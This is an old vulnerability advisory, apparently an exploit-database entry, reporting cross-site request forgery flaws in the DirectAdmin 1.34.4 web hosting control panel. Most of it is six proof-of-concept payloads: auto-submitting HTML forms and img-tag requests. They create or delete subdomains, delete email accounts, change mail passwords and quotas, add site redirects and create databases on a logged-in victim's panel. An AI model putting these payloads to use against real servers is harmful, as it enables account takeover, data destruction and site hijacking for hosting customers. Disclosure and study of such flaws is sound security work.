1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
============================================================================= # Title : Multi CSRF vulnerability in DirectAdmin (1.34.4) # Date : 20-3-2010 # Version : 1.34.4 # Author : K053 [K053.Dev0te3 _AT_ gmail] # Tested on : Ubuntu # Vendor : http://www.directadmin.com/ # Download : http://www.directadmin.com/demo.html ============================================================================= # info : DirectAdmin is a graphical web-based web hosting control panel designed to make administration of websites easier. ----------------------------------------------------------------------------- >> Here I have listed some poc , maybe you find more ;) ----------------------------------------------------------------------------- # poc 1: Add Subdomain | ------------------------- <html> <title>Add subdomain</title> <form name="info" action="http://address:port/CMD_SUBDOMAIN" method="post"> <input type=hidden name=domain value="domain_name"> <input type=hidden name=action value="create"> <input type=hidden name=subdomain value="test"> <input type="hidden" value="Submit"> <body onload="document.forms.info.submit();"> </html> ----------------------------------------------------------------------------- # poc 2 : Delete Subdomain | --------------------------- <html> <title>Delete subdomain</title> <form name="del" action="http://address:port/CMD_SUBDOMAIN" method="post"> <input type=hidden name=domain value="domain_name"> <input type=hidden name=action value="delete"> <input type=hidden name=contents value="yes"> <input type=hidden name=[selectX] value="subdomain_name"> <input type="hidden" value="Submit"> <body onload="document.forms.del.submit();"> </html> Note : You msut set proper name stead selectx, for example if test subdomain is at number 2 in list, should set it select1. ----------------------------------------------------------------------------- # poc 3 : Delete Email| --------------------------- <html> <title>Delete Email</title> <form name="del" action="http://address:port/CMD_EMAIL_POP" method="post"> <input type=hidden name=domain value="domain_name"> <input type=hidden name=action value="delete"> <input type=hidden name=selectx value="put_mail"> <input type="hidden" value="Submit"> <body onload="document.forms.del.submit();"> </html> Note : You msut set proper name stead selectx, for example if test Mail is at number 2 in list, should set it select1. ----------------------------------------------------------------------------- # poc 4 : Change Email Configuration | ----------------------------------- <img src=http://address:port/CMD_EMAIL_POP?action=modify&domain=domain_name&user =username&newuser=username&passwd=mypasswd&passwd2=mypasswd"a=0&update=Modify> Note : Able to Cahnge quota, password & Name ----------------------------------------------------------------------------- # poc 5 : Set Redirection| ---------------------------- <img src=http://address:port/CMD_REDIRECT?domain=domain_name&action=add &from=%2F&type=301&to=http://google.com Note : Change from value if you want set redirection for specific direction. ----------------------------------------------------------------------------- # poc 6 : Add Database | -------------------------- <img src=http://address:port/CMD_DB?action=create&domain=domain_name&name=b0f &user=b0f&passwd=frenzy&passwd2=frenzy&create=Create> ----------------------------------------------------------------------------- |